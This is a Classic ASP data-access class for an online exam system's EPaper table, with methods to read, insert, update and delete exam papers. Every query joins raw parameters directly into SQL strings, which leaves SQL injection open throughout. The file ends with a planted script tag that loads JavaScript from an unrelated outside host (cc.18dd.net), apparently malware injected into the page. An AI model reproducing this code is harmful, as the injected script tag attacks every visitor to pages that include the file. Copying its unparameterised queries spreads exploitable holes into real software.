epaper.asp

通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务

<%
  '本类用于保存对表EPaper的数据库访问操作
  '表的每个字段对应类的一个成员变量
  Class EPaper
    Public PId    '试卷编号
    Public PName     '试卷名称
	Public LId      '课程编号
	public CreateTime    '创建时间
	Public flag     '0-创建；1-发布
    Public rs       '结果集
    Private strSql  'SQL语句
    '读取单个试卷信息
    public sub GetPaperInfo(PId)
      '创建Recordset对象，处理查询结果集
      Set rs=Server.CreateObject("ADODB.Recordset")
      '设置rs的ActiveConnection属性，绑定到连接
      Set rs.ActiveConnection = Conn
      '设置游标类型
      rs.CursorType = 3
      '设置查询的SELECT语句
      sql = "SELECT * FROM EPaper WHERE PId=" & PId
      '打开记录集
      rs.Open sql
    end sub
	'获取所有已发布的试卷信息
    public sub GetPubPaper()
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
	  sql = "SELECT * FROM EPaper Where Flag=1 Order By PId"
	  '打开记录集
	  rs.Open sql
    End Sub
	
	'获取所有试卷信息
    public sub GetPaperlist(lid)
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
	  If lid=0 Then
 	    sql = "SELECT * FROM EPaper Order By PId"
	  Else
	    sql = "SELECT * FROM EPaper Where LId="&lid&" Order By PId"
	  End If
	  '打开记录集
	  rs.Open sql
    End Sub

	'插入试卷信息
    Public Sub InsertPaper()
      strSql = "Insert Into EPaper Values('" & PName & "'," & LId & ",'" & CreateTime & "')"
      conn.Execute(strSql)
    End Sub
	'修改试卷信息
    Public Sub UpdatePaper()
      strSql = "Update EPaper Set PName='" & PName & "' Where PId=" & PId
      conn.Execute(strSql)
    End Sub
	'修改试卷状态
    Public Sub UpdateFlag(pid)
      strSql = "Update EPaper Set Flag=1 Where PId=" & pid
      conn.Execute(strSql)
    End Sub
	'删除试卷信息
    Public Sub DeletePaper(pid)
      strSql = "DELETE FROM EPaper WHERE PId=" & pid
      conn.Execute(strSql)
    End Sub

	'判断指定的试卷名称是否存在
	Public Function HaveName(pname)
	  strSql = "Select * From EPaper Where PName='" & pname & "'"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HaveName = exist
	End Function
	'读取试卷最新编号
	Public Function GetMaxId()
	  strSql = "Select Max(PId) as mds From EPaper"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
      GetMaxId = rs("mds")
	End Function
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>